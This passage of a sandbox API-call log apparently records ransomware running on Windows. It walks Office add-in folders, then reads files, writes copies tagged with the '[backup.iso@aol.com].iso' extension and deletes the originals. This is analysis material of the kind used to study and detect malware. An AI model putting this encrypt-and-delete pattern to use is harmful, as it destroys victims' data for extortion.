ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x36aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0115.098] FindNextFileW (in: hFindFile=0x37e8118, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbda21cf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbda21cf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbda21cf, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x94aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0115.098] FindNextFileW (in: hFindFile=0x37e8118, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbda21cf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbda21cf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbda21cf, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x94aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0115.098] FindClose (in: hFindFile=0x37e8118 | out: hFindFile=0x37e8118) returned 1 [0115.099] GetProcessHeap () returned 0xc00000 [0115.099] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fb1b0 | out: hHeap=0xc00000) returned 1 [0115.099] FindNextFileW (in: hFindFile=0x37e86d8, lpFindFileData=0x2fde660 | out: lpFindFileData=0x2fde660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1 [0115.099] GetProcessHeap () returned 0xc00000 [0115.099] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fb1b0 [0115.099] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\*", lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e85d8 [0115.103] FindNextFileW (in: hFindFile=0x37e85d8, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.103] FindNextFileW (in: hFindFile=0x37e85d8, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0115.103] FindNextFileW (in: hFindFile=0x37e85d8, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d2b978, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0115.103] FindNextFileW (in: hFindFile=0x37e85d8, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x51c07e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51c07e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51c07e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0115.103] FindNextFileW (in: hFindFile=0x37e85d8, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56f7a52, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56f7a52, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x595a0ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0115.103] FindNextFileW (in: hFindFile=0x37e85d8, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56f7a52, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56f7a52, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x595a0ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0115.103] FindClose (in: hFindFile=0x37e85d8 | out: hFindFile=0x37e85d8) returned 1 [0115.104] GetProcessHeap () returned 0xc00000 [0115.104] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fb1b0 | out: hHeap=0xc00000) returned 1 [0115.104] FindNextFileW (in: hFindFile=0x37e86d8, lpFindFileData=0x2fde660 | out: lpFindFileData=0x2fde660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0115.104] GetProcessHeap () returned 0xc00000 [0115.104] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fb1b0 [0115.104] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\*", lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8118 [0115.116] FindNextFileW (in: hFindFile=0x37e8118, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.116] FindNextFileW (in: hFindFile=0x37e8118, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf99462e6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99462e6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99462e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0115.116] FindNextFileW (in: hFindFile=0x37e8118, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4b0be25, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4b0be25, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c3d17b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0115.116] FindNextFileW (in: hFindFile=0x37e8118, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12b7378, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12dd5ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x34040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0115.116] FindNextFileW (in: hFindFile=0x37e8118, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5101cbd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0115.116] FindNextFileW (in: hFindFile=0x37e8118, lpFindFileData=0x2fde3d8 | out: lpFindFileData=0x2fde3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5101cbd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 0 [0115.116] FindClose (in: hFindFile=0x37e8118 | out: hFindFile=0x37e8118) returned 1 [0115.117] GetProcessHeap () returned 0xc00000 [0115.117] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37fb1b0 | out: hHeap=0xc00000) returned 1 [0115.117] FindNextFileW (in: hFindFile=0x37e86d8, lpFindFileData=0x2fde660 | out: lpFindFileData=0x2fde660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0115.117] GetProcessHeap () returned 0xc00000 [0115.117] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37fb1b0 [0115.117] FindFirstFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\*", lpFindFileData=0x2fde3d8) Thread: id = 23 os_tid = 0x1014 [0088.098] GetProcessHeap () returned 0xc00000 [0088.098] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xcae8b0 [0088.099] GetProcessHeap () returned 0xc00000 [0088.099] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xcbe8b8 [0088.099] GetProcessHeap () returned 0xc00000 [0088.099] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x28) returned 0xc2bbc0 [0088.099] GetProcessHeap () returned 0xc00000 [0088.099] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x110102) returned 0x34e0020 [0088.103] GetProcessHeap () returned 0xc00000 [0088.103] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x50) returned 0xc25408 [0088.103] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x772d0000 [0088.103] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0088.103] Wow64DisableWow64FsRedirection (in: OldValue=0x311f7ec | out: OldValue=0x311f7ec*=0x0) returned 1 [0088.103] GetProcessHeap () returned 0xc00000 [0088.103] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc25408 | out: hHeap=0xc00000) returned 1 [0088.103] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0088.121] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=42674) returned 1 [0088.121] CloseHandle (hObject=0x308) returned 1 [0088.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 0x20 [0088.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 0x20 [0088.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0088.121] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0088.122] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0088.122] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0088.122] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2f4 [0088.123] ReadFile (in: hFile=0x308, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0xa6b2, lpOverlapped=0x0) returned 1 [0088.143] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xa6c0, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0xa6c0, lpOverlapped=0x0) returned 1 [0088.464] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x122, lpOverlapped=0x0) returned 1 [0088.464] CloseHandle (hObject=0x308) returned 1 [0088.464] CloseHandle (hObject=0x2f4) returned 1 [0088.471] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 1 [0088.473] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0088.479] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=6004) returned 1 [0088.479] CloseHandle (hObject=0x2f4) returned 1 [0088.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 0x20 [0088.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 0x20 [0088.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0088.480] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0088.480] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0088.480] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0088.480] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x308 [0088.480] ReadFile (in: hFile=0x2f4, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x1774, lpOverlapped=0x0) returned 1 [0088.483] WriteFile (in: hFile=0x308, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x1780, lpOverlapped=0x0) returned 1 [0088.485] WriteFile (in: hFile=0x308, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x122, lpOverlapped=0x0) returned 1 [0088.485] CloseHandle (hObject=0x2f4) returned 1 [0088.485] CloseHandle (hObject=0x308) returned 1 [0088.486] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 1 [0088.488] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0088.489] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=40) returned 1 [0088.489] CloseHandle (hObject=0x308) returned 1 [0088.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 0x20 [0088.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 0x20 [0088.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0088.489] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0088.489] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0088.489] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0088.489] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2f4 [0088.490] ReadFile (in: hFile=0x308, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x28, lpOverlapped=0x0) returned 1 [0088.491] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x30, lpOverlapped=0x0) returned 1 [0088.492] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x112, lpOverlapped=0x0) returned 1 [0088.492] CloseHandle (hObject=0x308) returned 1 [0088.493] CloseHandle (hObject=0x2f4) returned 1 [0088.980] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 1 [0088.982] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0088.985] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=156) returned 1 [0088.986] CloseHandle (hObject=0x2f4) returned 1 [0088.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 0x20 [0088.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 0x20 [0088.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0088.986] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0088.986] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0088.986] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0088.986] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: 